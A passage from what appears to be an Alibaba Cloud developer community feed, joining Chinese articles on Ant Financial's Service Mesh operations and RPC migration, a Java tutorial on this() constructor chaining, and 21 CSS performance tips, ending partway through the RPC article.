        前面提到在蚂蚁金服的实践中是基于服务注册中心来实现流量劫持的,该方案不管是在性能、管控能力还是可观测性方面都是不错的选择,不过对应用存在一定的侵入性(需要引入一个轻量的注册中心 SDK)。

        考虑到很多用户对性能要求没那么敏感,同时有大量遗留系统希望通过 Service Mesh 实现统一管控,所以后续我们也会支持透明劫持,同时在管控性和可观测性方面会做增强。

        transparent-interception.png

        六、结语

        基于『务实』的理念,Service Mesh 在蚂蚁金服经过了2年的沉淀,我们探索出了一套现阶段切实可行的方案并最终通过了双十一的考验。在这个过程中,我们也愈发体验到了 Service Mesh 带来的好处,例如 MOSN 在大促中间完成了数十次的业务无感升级,见证了 Mesh 化之后基础设施的迭代速度。

        我们判断,未来 Service Mesh 会成为云原生下微服务的标准解决方案,所以我们也会持续加大对 Service Mesh 的投入,包括接下来蚂蚁金服将和阿里集团一起深度参与到 Istio 社区中去,和社区一起把 Istio 打造成 Service Mesh 的事实标准。

        最后,也欢迎志同道合的伙伴加入我们,一起参与建设激动人心的下一代云原生架构!

        ]]>
        蚂蚁金服 Service Mesh 大规模落地系列 - 运维篇-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Service Mesh-运维-01.jpg

        本文为《蚂蚁金服 Service Mesh 大规模落地系列》第三篇 - 运维篇,该系列将会从核心、RPC、消息、无线网关、控制面、安全、运维、测试等模块对 Service Mesh 双十一大规模落地实践进行详细解析。文末包含往期系列文章。

        引言

        Service Mesh 是蚂蚁金服下一代架构的核心,也是蚂蚁金服内部向云原生演进的重要一环。本文为 Service Mesh 系列文章的运维篇,作者:黄家琦 (花名:嘉祁),蚂蚁金服运维专家,Service Mesh SRE,主要关注云原生基础设施、中间件及 Service Mesh 的稳定性,同时也是 Pythoner,sofa-bolt-python 作者。

        本文将主要分享大规模服务网格在蚂蚁金服当前体量下落地到支撑蚂蚁金服双十一大促过程中,运维角度所面临的挑战与演进。内容包括云原生化的选择与问题,对资源模型的挑战,大规模下运维设施的演进,以及周边技术风险能力的建设。

        Service Mesh 在2019年得到了大规模的应用与落地,截止目前,蚂蚁金服的 Service Mesh 数据平面 MOSN 已接入应用数百个,接入容器数量达数十万,是目前已知的全世界最大的 Service Mesh 集群。同时,在刚刚结束的双十一大促中,Service Mesh 的表现也十分亮眼,RPC 峰值 QPS 达到了几千万,消息峰值 TPS 达到了几百万,且引入 Service Mesh 后的平均 RT 增长幅度控制在 0.2 ms 以内。

        拥抱云原生

        Service Mesh 在软件形态上,是将中间件的能力从框架中剥离成独立软件。而在具体部署上,保守的做法是以独立进程的方式与业务进程共同存在于业务容器内。我们在蚂蚁金服内部的做法,则从开始,就选择了拥抱云原生。

        Sidecar 模式

        业务容器内独立进程的好处在于与传统的部署模式兼容,易于快速上线;但独立进程强侵入业务容器,对于镜像化的容器更难于管理。而云原生化,则可以将 Service Mesh 本身的运维与业务容器解耦开来,实现中间件运维能力的下沉。在业务镜像内,仅仅保留长期稳定的 Service Mesh 相关 JVM 参数,从而仅通过少量环境变量完成与 Service Mesh 的联结。同时考虑到面向容器的运维模式的演进,接入 Service Mesh 还同时要求业务完成镜像化,为进一步的云原生演进打下基础。

        独立进程 兼容传统的部署模式;改造成本低;快速上线 侵入业务容器;镜像化难于运维
        Sidecar 面向终态;运维解耦 依赖 K8s 基础设施;运维环境改造成本高;应用需要镜像化改造

        在接入 Service Mesh 之后,一个典型的 POD 结构可能包含多个 Sidecar:

        • MOSN:RPC Mesh, MSG Mesh, ...(扩展中);
        • 其它 Sidecar;

        MOSN:https://github.com/sofastack/sofa-mosn

        image.png

        这些 Sidecar 容器,与业务容器共享相同的网络 Namespace,使得业务进程可以以本地端口访问 Service Mesh 提供的服务,保证了与保守做法一致的体验。

        基础设施云原生支撑

        我们也在基础设施层面同步推进了面向云原生的改造,以支撑 Service Mesh 的落地。

        业务全面镜像化

        首先是在蚂蚁金服内部推进了全面的镜像化,我们完成了内部核心应用的全量容器的镜像化改造。改造点包括:

        • 基础镜像层面增加对于 Service Mesh 的环境变量支撑;
        • 应用 Dockerfile 对于 Service Mesh 的适配;
        • 推进解决了存量前后端分离管理的静态文件的镜像化改造;
        • 推进了大量使用前端区块分发的应用进行了推改拉的改造;
        • 大批量的 VM 模式的容器升级与替换;

        容器 POD 化

        除了业务镜像层面的改造,Sidecar 模式还需要业务容器全部跑在 POD 上,来适应多容器共享网络。由于直接升级的开发和试错成本很高,我们最终选择将接入 Service Mesh 的 数百个应用的数万个非 K8s 容器,通过大规模扩缩容的方式,全部更换成了 K8s PODs。

        经过这两轮改造,我们在基础设施层面同步完成了面向云原生的改造。

        资源的演进

        Sidecar 模式的带来一个重要的问题,如何分配资源。

        理想比例的假设

        最初的资源设计基于内存无法超卖的现实。我们做了一个假设:

        • MOSN 的基本资源占用与业务选择的规格同比例这一假设。

        CPU 和 Memory 申请与业务容器相应比例的额外资源。这一比例最后设定在了 CPU 1/4,Memory 1/16。

        此时一个典型 Pod 的资源分配如下图示:

        image.png

        这一方式带来了两个问题:

        1. 蚂蚁金服已经实现了业务资源的 Quota 管控,但 Sidecar 并不在业务容器内,Service Mesh 容器成为了一个资源泄漏点;
        2. 业务很多样,部分高流量应用的 Service Mesh 容器出现了严重的内存不足和 OOM 情况;

        完美分割的不完美

        不止于此,为了快速支撑 Service Mesh 在非云环境的铺开,上线了原地接入 Service Mesh。而原地接入 Service Mesh 的资源无法额外分配,在内存不能超卖的情况下,采取了二次分割的分配方式。此时的 POD 内存资源被切分为1/16内存给 Sidecar,与15/16给业务容器。除了以上两个问题,还带来一些新的问题:

        • 业务可见内存不一致,业务监控偏差,业务进程 OOM 风险。

        讨论之后,我们追加了一个假设:

        • Service Mesh 容器占用的资源实质是在接入 Service Mesh 之前业务已使用的资源。接入 Service Mesh 的过程,同时也是一次资源置换。

        共享

        基于这个假设,推进了调度层面支持 POD 内的资源超卖,新的资源分配方案如下图,Service Mesh 容器的 CPU、MEM 都从 POD 中超卖出来,业务容器内仍然可以看到全部的资源。

        image.png

        考虑到内存超卖也引入了 POD OOM 的风险,因此对于 Sidecar 容器还调整了 OOM Score,保证在内存不足时,Service Mesh 进程能够发挥启动比 Java 业务进程更快的优势,降低影响。

        新的分配方案解决了同时解决了以上两个问题,并且平稳支持了大促前的多轮压测。

        重建

        但新的分配方案上线时,Service Mesh 已经在弹性建站时同步上线。同时我们还发现在一些场景下,Service Mesh 容器无法抢占到 CPU 资源,导致业务 RT 出现了大幅抖动,原因是在 CPU Share 模式下,POD 内默认并没有等额的分配 CPU Quota 给 Sidecar。

        于是还有两个问题待解决:

        • 存量的已分配 Sidecar 仍有 OOM 风险;
        • Sidecar 无法抢占到 CPU;

        我们已经无法承受更换全部 POD 的代价。最终在调度的支持下,通过对 Pod Annotation 的手动重新计算+修改,在 POD 内进行了全部资源的重分配,来修复这两个风险。最终的修复容器总数约 25w 个。

        变更与规模化下的运维挑战

        Service Mesh 的变更包括了接入与升级,所有变更底层都是由 Operator 组件来接受上层写入到 POD annotation 上的标识,对相应 POD Spec 进行修改来完成,这是典型的云原生的方式。由于蚂蚁金服的资源现状与运维需要,又发展出了原地接入与平滑升级。与 Operator 有关的具体细节在 Operator 篇中会详细介绍,请持续关注本公众号。

        接入

        最初的 Service Mesh 接入只提供了创建时注入 Sidecar。之后引入原地接入的原因,是为了支撑大规模的快速接入与回滚。

        • 创建接入:

          • 资源替换过程需要大量 Buffer;
          • 回滚困难;
        • 原地接入:

          • 不需要重新分配资源;
          • 可原地回滚;

        原地接入/回滚需要对 POD Spec 进行精细化的修改,实践中发现了很多问题,当前能力只做了小范围的测试。

        升级

        Service Mesh 是深度参与业务流量的,因此最初的 Sidecar 的升级方式也需要业务伴随重启。看似简单的这个过程中,我们也遇到了一个严重问题:

        • Pod 内的容器启动顺序随机导致业务无法启动。

        这个问题最终依赖于调度层修改了启动逻辑,POD 内需要优先等待所有 Sidecar 启动完成,于是带来第二个问题:

        • Sidecar 启动慢了,上层超时。

        此问题仍在解决中。

        Sidecar 中,MOSN 提供了更为灵活的平滑升级机制:由 Operator 控制启动第二个 MOSN Sidecar,完成连接迁移,再退出旧的 Sidecar。小规模测试显示,整个过程业务可以做到流量不中断,几近无感。目前平滑升级同样涉及到 POD Spec 的大量操作,考虑到大促前的稳定性,目前此方式未做大规模使用。

        规模化的问题

        在逐渐达到大促状态的过程中,接入 Service Mesh 的容器数量开始大爆炸式增加。容器数量从千级别迅速膨胀到10w+,最终达到全站数十万容器规模,并在膨胀后还经历了数次版本变更。

        快速奔跑的同时,缺少相应的平台能力也给大规模的 Sidecar 运维带来了极大挑战:

        • 版本管理混乱:

          • Sidecar 的版本与应用/ Zone 的映射关系维护在内部元数据平台的配置中。大量应用接入后,全局版本,实验版本,特殊 Bugfix 版本等混杂在多个配置项中,统一基线被打破,难于维护。
        • 元数据不一致:

          • 元数据平台维护了 POD 粒度的 Sidecar 版本信息,但是由于 Operator 是面向终态的,会出现元数据与底层实际不一致的情况,当前仍依赖巡检发现。
        • 缺少完善的 Sidecar ops 支撑平台:

          • 缺少多维度的全局视图;
          • 缺少固化的灰度发布流程;
          • 依赖于人工经验配置管理变更;
        • 监控噪声巨大;

        当然,Service Mesh 与 PaaS 的开发团队都已经在建设相应的一些能力,这些问题正得到逐步的缓解。

        技术风险建设

        监控能力

        我们的监控平台为 Service Mesh 提供了基础的监控能力和大盘,以及应用维度的 Sidecar 的监控情况。包括:

        • 系统监控:

          • CPU;
          • MEM;
          • LOAD;
        • 业务监控:

          • RT;
          • RPC 流量;
          • MSG 流量;
          • Error 日志监控;

        Service Mesh 进程还提供了相应的 Metrics 接口,提供服务粒度的数据采集与计算。

        巡检

        在 Service Mesh 上线后,巡检也陆续被加入:

        • 日志 Volume 检查;
        • 版本一致性;
        • 分时调度状态一致;

        预案与应急

        Service Mesh 自身具备按需关闭部分功能的能力,当前通过配置中心实现:

        • 日志分级降级;
        • Tracelog 日志分级降级;
        • 控制面(Pilot)依赖降级;
        • 软负载均衡长轮询降级;

        对于 Service Mesh 依赖的服务,为了防止潜在的抖动风险,也增加了相应的预案:

        • 软负载均衡列表停止变更;
        • 服务注册中心高峰期关闭推送;

        Service Mesh 是非常基础的组件,目前的应急手段主要是重启:

        • Sidecar 单独重启;
        • POD 重启;

        变更风险防控

        除了传统的变更三板斧之外,我们还引入了无人值守变更,对 Service Mesh 变更做了自动检测,自动分析与变更熔断。

        无人值守变更防控主要关注变更后对系统和业务和影响,串联了多层检测,主要包括:

        • 系统指标:包括机器内存、磁盘、CPU;
        • 业务指标:业务和 Service Mesh 的 RT、QPS 等;
        • 业务关联链路:业务上下游的的异常情况;
        • 全局的业务指标;

        经过这一系列防控设施,可以将全站性的 Service Mesh 变更风险在单一批次变更内发现和阻断,避免了风险放大。

        未来

        Service Mesh 在快速落地的过程中,遇到并解决了一系列的问题,但同时也要看到还有更多的问题还亟待解决。做为下一代云原生化中间件的核心组件之一,Service Mesh 的技术风险能力还需要持续的建议与完善。
        未来需要在下面这些方面持续建设:

        • 大规模高效接入与回滚能力支撑;
        • 更灵活的变更能力,包括业务无感的平滑/非平滑变更能力;
        • 更精准的变更防控能力;
        • 更高效,低噪声的监控;
        • 更完善的控制面支持;
        • 应用维度的参数定制能力;

        欢迎有志于中间件 Service Mesh 化与云原生稳定性的同学加入我们,共同建设 Service Mesh 的未来。

        往期系列阅读

        ]]>
        揭开this的神秘面纱-方法篇 | 带你学《Java面向对象编程》之八-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 上一篇:揭开this的神秘面纱-属性篇 | 带你学《Java面向对象编程》之七
        【本节目标】
        通过阅读本节内容,你将了解到借助this实现构造方法的高级重写方式,学会使用this访问类内各类方法,养成编写可重用性高的代码的良好习惯。

        使用this调用方法

        除了调用属性之外,this也可以实现方法的调用,但是对于方法的调用就必须考虑构造与普通方法:

        • 构造方法的调用(this()):使用关键字new实例化对象的时候才会调用构造方法;
        • 普通方法调用:(this.方法名称()):实例化对象产生之后就可以调用普通方法。

        范例:调用类中的普通方法

        class Person{
           private String name ;
           private int age ;
           public Person(String name ,int age){
              this.setName(name) ;
              this.setAge(age) ;              //加与不加this都表示本类方法
           }
           public void tell(){
               System.out.println(“姓名:”+ this.name + “、年龄:”+ this.age );
           }
           public void setName(String name){
               this.name = name ;
           }
           public void setAge(int age){
               this.age = age;
           }
           public String getName(){
               return this.name ;
           }
           public int getAge(){
               return this.age ;
           }
        }  
        public class JavaDemo {          //主类
            public static void main(String args[]) {
              Person per = new person(“王五” ,38) ;
              per.tell() ;
            }
        }

        image.png
        图一 执行结果一

        除了普通的方法调用之外呢,还需要进行构造方法的调用,对于构造方法的调用,肯定是要放在构造方法中执行。假设类中一共定义有三个构造方法,但是要求不管调用哪个构造方法,都执行一行输出语句“一个新的person类对象实例化了”。
        传统做法实现:

         class Person{
           private String name ;
           private int age ;
           public Person(){
               System.out.println(“***一个新的person类对象实例化了。”) ;
           } 
           public Person(String name){
               System.out.println(“***一个新的person类对象实例化了。”) ;
               this.name = name ;
           }
        
           public Person(String name ,int age){
              System.out.println(“***一个新的person类对象实例化了。”) ;
              this.name = name ;
              this.age = age ;              
          }
          public void tell(){
              System.out.println(“姓名:”+ this.name + “、年龄:”+ this.age );
          }
        //setter、getter略
        }  
        public class JavaDemo {          //主类
            public static void main(String args[]) {
              Person per = new person(“王五” ,38) ;
              per.tell() ;
            }
        }

        image.png
        图二 执行结果二

        若改为单参,Person per = new person(“王五” ) ;

        image.png
        图三 执行结果三

        如果要想评价一个代码的好坏:

        1. 代码结构可以重用,提供的是一个中间独立的支持;
        2. 我们的目标是:没有重复。

        利用this()构造调用优化:

        class Person{
           private String name ;
           private int age ;
           public Person(){
               System.out.println(“***一个新的person类对象实例化了。”) ;
        } 
           public Person(String name){
               this() ;                //调用本类无参构造
               this.name = name ;
        }
        
           public Person(String name ,int age){
              this(name) ;           //调用单参构造
            this.age = age ;              
        }
          public void tell(){
            System.out.println(“姓名:”+ this.name + “、年龄:”+ this.age );
        }
        //setter、getter略
        }  
        public class JavaDemo {          //主类
            public static void main(String args[]) {
              Person per = new person(“王五” ,38) ;
              per.tell() ;
        }
        }

        image.png
        图四 执行结果四

        若调用多参构造,Person per = new person(“王五” , 10) ;

        image.png
        图五 执行结果五

        对于本类代码的互相调用需要注意以下几点重要问题:
        构造方法必须在实例化新对象的时候调用,所以“this()”的语句只允许放在构造方法的首行

         public Person(String name){
               this.name = name ;
                 this() ;                //调用本类无参构造
        }

        image.png
        图六 执行结果六

        public void tell(){
            this() ;                //调用本类无参构造
            System.out.println(“姓名:”+ this.name + “、年龄:”+ this.age );
        }

        image.png
        图七 执行结果七

        构造方法互相调用时请保留有程序的出口,别形成死循环。

        public Person(){
               this.(“HAHA” , 11) ;
               System.out.println(“***一个新的person类对象实例化了。”) ;
        } 
           public Person(String name){
               this() ;                //调用本类无参构造
               this.name = name ;
        }
        
           public Person(String name ,int age){
              this(name) ;           //调用单参构造
            this.age = age ;              
        }

        此时的程序在进行编译的时候将会直接出现错误提示:告诉用户,出现了构造方法的递归调用。

        构造方法互相调用案例:

        现在要求定义一个描述有员工信息的程序类,该类中提供有:编号、姓名、部门、工资,这个类中提供有四个构造方法:
        【无参构造】编号定义为1000,姓名定义为无名氏;
        【单参构造】传递编号,姓名定义为“新员工”,部门定义为“未定”,工资为0.0;
        【三参构造】传递编号、姓名、部门,工资为2500.00;
        【四参构造】所有的属性全部进行传递。
        范例:进行代码的初期实现

        class Emp{
            private long empno ;          //员工编号
            private String ename ;         //员工姓名
            private String dept ;           //部门名称
            private double salary ;         //基本工资
            public Emp(){
                this.empno = 1000 ;
                this.ename = “无名氏” ;
            }
            public Emp(long empno) {
                this.empno = empno ;
                this.ename = “新员工” ;
                this.dept = “未定” ;
            }
            public Emp(long empno ,String ename , String dept) {
                this.empno = empno ;
                this.ename = ename ;
                this.dept = dept ;
                this.salary = 2500.00 ;
            }
            public Emp(long empno ,String ename , String dept ,double salary) {
                this.empno = empno ;
                this.ename = ename ;
                this.dept = dept ;
                this.salary = salary ;
            }
        //setter、getter略
            public String getInfo(){
                return  “雇员编号:” + this.empno +
                   “、雇员姓名:” + this.ename +
                   “、所在部门:” + this.dept +
                   “、基本工资:” +this.salary ;
            }
        } 
         public class JavaDemo {          //主类
            public static void main(String args[]) {
        Emp emp = new Emp(7369L,”史密斯”, “财务部” ,6500.00) ;
             System.out.println(emp.getInfo()) ;
            }
        }

        image.png
        图八 执行结果八

        此时可以发现代码有重复,所以就可以对Emp类进行简化定义:

        class Emp{
            private long empno ;          //员工编号
            private String ename ;         //员工姓名
            private String dept ;           //部门名称
            private double salary ;         //基本工资
            public Emp(){
                this(1000 , “无名氏” ,null ,0.0) ;
            }
            public Emp(long empno) {
                this(empno, “新员工” ,”未定”,0.0) ;
            }
            public Emp(long empno ,String ename , String dept) {
                this(empno, ename,dept ,2500.00) ;
            }
            public Emp(long empno ,String ename , String dept ,double salary) {
               this.empno = empno ;
               this.ename = ename ;
               this.dept = dept ;
               this.salary = salary ;
            }
        //setter、getter略
            public String getInfo(){
                 return  “雇员编号:” + this.empno +
                   “、雇员姓名:” + this.ename +
                   “、所在部门:” + this.dept +
                   “、基本工资:” +this.salary ;
            }
        } 
         public class JavaDemo {          //主类
            public static void main(String args[]) {
        Emp emp = new Emp(7369L,”史密斯”, “财务部” ) ;
             System.out.println(emp.getInfo()) ;
           }
        }

        通过上述改造,我们输出三参定义:

        image.png
        图九 执行结果九

        代码的任何位置上都可能重复,所以消除重复的代码是先期学习之中最需要考虑的部分。
        想学习更多的Java的课程吗?从小白到大神,从入门到精通,更多精彩不容错过!免费为您提供更多的学习资源。
        本内容视频来源于阿里云大学

        下一篇:一则案例带你通晓简单Java类 | 带你学《Java面向对象编程》之九
        更多Java面向对象编程文章查看此处

        ]]>
        21种优化CSS和加快网站速度的方法,看看你知道几种?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 公众号:web前端开发
        来源 | https://github.com/qq449245884/xiaozhi/issues/28

        CSS 必须通过一个相对复杂的管道,就像 HTML 和 JavaScript一样,浏览器必须从服务器下载文件,然后进行解析并将其应用于DOM。由于优化程度极高,这个过程通常非常快——对于不基于框架的小型 web 项目,CSS通常只占总资源消耗的一小部分。
        框架打破了这种平衡。包括一个 JavaScript GUI 堆栈,如 jQuery UI,可以观察 CSS, JS 和 HTML大小逐渐的变大。通常,开发人员最后才会感到压力,当他们用一个强大的 8 核工作站后面,使用 T3 internet 时,没有人关心速度,这随着延迟或 cpu 受限设备的出现而改变。
        优化CSS需要一个多维的方法。虽然手工编写的代码可以使用各种技术进行简化,但是手工检查框架代码是低效的。在这些情况下,使用自动化的简化会产生更好的结果。
        下面的步骤将带我们进入 CSS 优化的世界。并不是每一个都可以直接应用到你的项目中,但是一定要记住它们。
        01. 使用简写

        image.png

        使用缩写语句,如下面所示的 margin 声明,可以从根本上减小 CSS 文件的大小。在 google 上搜索 CSS Shorthand 可以找到许多其他的速记形式。

        p { margin-top: 1px;
            margin-right: 2px;
            margin-bottom:  3px;
            margin-left: 4px; }
        p { margin: 1px 2px 3px 4px; }

        02. 查找并删除未使用的 CSS

        image.png

        删除不必要的部分 CSS,j显然会加快网页的加载速度。谷歌的Chrome浏览器有这种开箱即用的功能。只需转到查看>开发人员>开发人员工具,并在最近的版本中打开Sources选项卡,然后打开命令菜单。然后,选择Show Coverage,在Coverage analysis窗口中高亮显示当前页面上未使用的代码,让您大开眼界。
        打开谷歌浏览器开发都工具,在 Conlse 旁边更多选择 Coverage,就可以看到未使用的 CSS, 点击对应的项,高亮显示当前页面上未使用的代码,让你大开眼界:

        03. 以更便捷的方式做到这一点

        image.png

        在逐行分析中导航并不一定便捷,使用谷歌浏览器的 Audits 就可以快速帮我们分析,使用方式,打开开发者工具,点击 Audits 栏位,点击 Run audits 后就开始分析结果。

        04. 注意这些问题
        请记住,对 CSS 的自动分析总是会导致错误。用压缩后的 CSS 文件替换 未压缩CSS文件之后,对整个网站进行彻底的测试——没有人知道优化器会导致什么错误。

        05.内联关键 CSS
        加载外部样式表需要花费时间,这是由于延迟造成的——因此,可以把最关键的代码位放在 head 中。但是,请确保不要做得过火,记住,执行维护任务的人员也必须读取代码。

        <html>
          <head>
            <style>
              .blue{color:blue;}
        </style>
            </head>
          <body>
            <div class="blue">
              Hello, world!
            </div>

        06.允许反并行解析
        @import 将 CSS 样式方便添加代码中。遗憾的是,这些好处并不是没有代价的:由于 @import 可以嵌套,因此无法并行解析它们。更并行的方法是使用一系列 标记,浏览器可以立即获取这些标记。

        @import url("a.css");
        @import url("b.css");
        @import url("c.css");
        <link rel="stylesheet" href="a.css">
        <link rel="stylesheet" href="b.css">
        <link rel="stylesheet" href="c.css">

        07. 用 CSS 替换图片
        几年前,一套半透明的 png 在网站上创建半透明效果是司空见惯的。现在,CSS过 滤器提供了一种节省资源的替代方法。例如,以下这个代码片段可以确保所讨论的图片显示为其自身的灰度版本。

        img {
            -webkit-filter: grayscale(100%);
            /* old safari */
            filter: grayscale(100%);
        }

        08.使用颜色快捷方式
        常识告诉我们,六位数的颜色描述符是表达颜色最有效的方式。事实并非如此——在某些情况下,速记描述或颜色名称可以更短。

        target { background-color: #ffffff; }
        target { background: #fff; }

        09. 删除不必要的零和单位
        CSS 支持多种单位和数字格式。它们是一个值得感谢的优化目标——可以删除尾随和跟随的零,如下面的代码片段所示。此外,请记住,零始终是零,添加维度不会为包含的信息附带价值。

        padding: 0.2em;
        margin: 20.0em;
        avalue: 0px;
        padding: .2em;
        margin: 20em;
        avalue: 0;

        10. 消除过多分号
        这种优化需要谨慎,因为它会影响代码的更改。CSS的规范允许省略属性组中的最后一个分号。由于这种优化方法所节省的成本很小,所以我们主要针对那些正在开发自动优化的程序员说明这一点。

        p {
        . . .
          font-size: 1.33em
        }

        11.使用纹理图集
        由于协议开销的原因,加载多个小图片的效率很低。CSS 精灵将一系列小图片组合成一个大的PNG 文件,然后通过 CSS 规则将其分解。TexturePacker 等程序大大简化了创建过程。

        .download {
          width:80px;
          height:31px;
          background-position: -160px -160px
        }
        
        .download:hover {
          width:80px;
          height:32px;
          background-position: -80px -160px
        }

        12. 省略 px
        提高性能的一个简单方法是使用CSS标准的一个特性。为 0 的数值默认单位是 px—— 删除 px 可以为每个数字节省两个字节。

        h2 {padding:0px; margin:0px;}
        h2 {padding:0; margin:0}

        13. 避免需要性能要求的属性
        分析表明,一些标签比其他标签更昂贵。以下这些解析会影响性能—如果在没有必要的情况,尽量不要使用它们。

        border-radius
        box-shadow
        transform
        filter
        :nth-child
        position: fixed;

        14. 删除空格
        空格——考虑制表符、回车符和空格——使代码更容易阅读,但从解析器的角度看,它没有什么用处。在发布前删除它们,更好的方法是将此任务委托给 shell 脚本或类似的工具。

        15. 删除注释
        注释对编译器也没有任何作用。创建一个自定义解析器,以便在发布之前删除它们。这不仅节省了带宽,而且还确保攻击者和克隆者更难理解手头代码背后的思想。

        16. 使用自动压缩
        Yahoo 的用户体验团队创建了一个处理许多压缩任务的应用程序。它以 JAR 文件的形式发布,在这里可用,并且可以使用所选的JVM运行。

        java -jar yuicompressor-x.y.z.jar
        Usage: java -jar yuicompressor-x.y.z.jar
         [options] [input file]
        Global Options
            -h, --help                Displays this
         information
            --type <js|css>           Specifies the
         type of the input file

        17. 在 NPM 运行它
        如果你希望将产品集成到 Node.JS 中,请访问 npmjs.com/package/yuicompressor。维护不良的存储库包含一组包装器文件和
        JavaScript API。

        var compressor = require('yuicompressor');
         compressor.compress('/path/to/
        file or String of JS', {
            //Compressor Options:
            charset: 'utf8',
            type: 'js',

        18. 保持 Sass 的检查
        虽然 CSS 选择器的性能不像几年前那么重要(请参阅参考资料),但是像 Sass 这样的框架有时会产生非常复杂的代,不时查看输出文件,并考虑优化结果的方法。

        19. 设置缓存
        有句老话说,最快的文件永远不会通过网络发送。让浏览器缓存请求有效地实现这一点。遗憾的是,缓存头的设置必须在服务器上进行。充分上面讲的的两个 Chrome 工具,它们提供了一种快速分析更改结果的方法。

        20. 打破缓存
        设计人员通常不喜欢缓存,因为他们担心浏览器会缓存上次的样式表。解决这个问题的一个简单方法是包含带有文件名的标记。遗憾的是,由于一些代理拒绝缓存具有“动态”路径的文件,此步骤所附带的代码中概述的方案并不适用于所有地方。

        <Link rel="stylesheet" href="style.css?v=1.2.3">

        21. 不要忘记基础知识
        优化CSS只是游戏的一部分。如果你的服务器不使用 HTTP/2 和 gzip 压缩,那么在数据传输期间会损失很多时间。幸运的是,解决这两个问题通常很简单。我们的示例显示了对常用Apache 服务器的一些调整。如果您发现自己在一个不同的系统上,只需参考服务器文档即可。

        pico /etc/httpd/conf/httpd.conf
        AddOutputFilterByType DEFLATE text/html
        AddOutputFilterByType DEFLATE text/css
        ]]>
        蚂蚁金服 Service Mesh 大规模落地系列 - RPC 篇-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1.jpg

        引言

        Service Mesh 是蚂蚁金服下一代架构的核心,本主题主要分享在蚂蚁金服当前的体量下,我们如何做到在奔跑的火车上换轮子,将现有的 SOA 体系快速演进至 Service Mesh 架构。聚焦 RPC 层面的设计和改造方案,本次将分享蚂蚁金服双十一核心应用是如何将现有的微服务体系平滑过渡到 Service Mesh 架构下并降低大促成本。

        蚂蚁金服每年双十一大促会面临非常大的流量挑战,在已有 LDC 微服务架构下已支撑起弹性扩容能力。本次分享主要分为 5 部分:

        • Service Mesh 简介;
        • 为什么要 Service Mesh;
        • 方案落地;
        • 分时调度案例;
        • 思考与未来;

        作者简介

        5-1.jpg

        黄挺(花名:鲁直):蚂蚁金服云原生负责人
        主要 Focus 领域:

        • SOFAStack 微服务领域;
        • Service Mesh,Serverless 等云原生领域;

        雷志远(花名:碧远):蚂蚁金服 RPC 框架负责人
        主要 Focus 领域:

        • 服务框架:SOFARPC(已开源);
        • Service Mesh:MOSN(已开源);

        SOFARPC:https://github.com/sofastack/sofa-rpc
        MOSN:https://github.com/sofastack/sofa-mosn

        Service Mesh 简介

        在讲具体的蚂蚁金服落地之前,想先和大家对齐一下 Service Mesh 的概念,和蚂蚁金服对应的产品。这张图大家可能不陌生,这是业界普遍认可的 Service Mesh 架构,那么对应到蚂蚁金服,蚂蚁金服的 Service Mesh 也分为控制面和数据面,分别叫做 SOFAMesh 和 MOSN,其中 SOFAMesh 后面会以更加开放的姿态参与到 Istio 里面去。
        image.png

        今天我们讲的实践主要集中在 MOSN 上,以下我的分享中提到的主要就是集中在数据面上的落地,这里面大家可以看到,我们有支持 HTTP/SOFARPC/Dubbo/WebService。

        为什么我们要 Service Mesh

        有了一个初步的了解之后,可能大家都会有这样一个疑问,你们为什么要 Service Mesh,我先给出结论:

        因为我们要解决在 SOA 下面,没有解决但亟待解决的:基础架构和业务研发的耦合,以及未来无限的对业务透明的稳定性与高可用相关诉求。

        那么接下来,我们一起先看看在没有 Service Mesh 之前的状况。

        在没有 Service Mesh 之前,整个 SOFAStack 技术演进的过程中,框架和业务的结合相当紧密,对于一些 RPC 层面的需求,比如流量调度,流量镜像,灰度引流等,是需要在 RPC 层面进行升级开发支持,同时,需要业务方来升级对应的中间件版本,这给我们带来了一些困扰和挑战。如图所示:

        image.png

        1. 线上客户端框架版本不统一;
        2. 业务和框架耦合,升级成本高,很多需求由于在客户端无法推动,需要在服务端做相应的功能,方案不够优雅;
        3. 机器逐年增加,如果不增加机器,如何度过双十一;
        4. 在基础框架准备完成后,对于新功能,不再升级给用户的 API 层是否可行; 
        5. 流量调拨,灰度引流,蓝绿发布,AB Test 等新的诉求;

        这些都困扰着我们。我们知道在 SOA 的架构下,负责每个服务的团队都可以独立地去负责一个或者多个服务,这些服务的升级维护也不需要其他的团队的接入,SOA 其实做到了团队之间可以按照接口的契约来接耦。但是长期以来,基础设施团队需要推动很多事情,都需要业务团队进行紧密的配合,帮忙升级 JAR 包,基础设施团队和业务团队在工作上的耦合非常严重,上面提到的各种问题,包括线上客户端版本的不一致,升级成本高等等,都是这个问题带来的后果。

        而 Service Mesh 提供了一种可能性,能够将基础设施下沉,让基础设施团队和业务团队能够解耦,让基础设施和业务都可以更加快步地往前跑。

        image.png

        我们的方案

        说了这么多,那我们怎么解决呢?我们经历了这样的选型思考。

        image.png

        总体目标架构

        image.png

        我们的 MOSN 支持了 Pilot ,自有服务发现 SOFARegistry,和自有的消息组件,还有一些 DB 的组件。在产品层,提供给开发者,不同的能力,包括运维,监控,安全等能力,这个是目前我们的一个线上的状态。

        SOFARegistry 是蚂蚁金服开源的具有承载海量服务注册和订阅能力的、高可用的服务注册中心,在支付宝/蚂蚁金服的业务发展驱动下,近十年间已经演进至第五代。
        SOFARegistry:https://github.com/sofastack/sofa-registry

        看上去很美好,要走到这个状态,我们要回答业务的三个灵魂拷问。

        image.png

        这三个问题后面,分别对应着业务的几大诉求,大家做过基础框架的应该比较有感触。

        框架升级方案

        准备开始升级之后,我们要分析目前我们的线上情况,而我们现在线上的情况,应用代码和框架有一定程度的解耦,用户面向的是一个API,最终代码会被打包,在SOFABoot 中运行起来。

        SOFABoot 是蚂蚁金服开源的基于 Spring Boot 的研发框架,它在 Spring Boot 的基础上,提供了诸如 Readiness Check,类隔离,日志空间隔离等能力。在增强了 Spring Boot 的同时,SOFABoot 提供了让用户可以在 Spring Boot 中非常方便地使用 SOFA 中间件的能力。
        SOFABoot:https://github.com/sofastack/sofa-boot

        image.png

        那么,我们就可以在风险评估可控的情况下,直接升级底层的 SOFABoot。在这里,我们的 RPC 会检测一些信息,来确定当前 Pod 是否需要开启 MOSN 的能力。然后我们完成如下的步骤。

        image.png

        这里,我们通过检测 PaaS 传递的容器标识,知道自己是否开启了 MOSN,则将发布和订阅给 MOSN,然后调用不再寻址,直接完成调用。

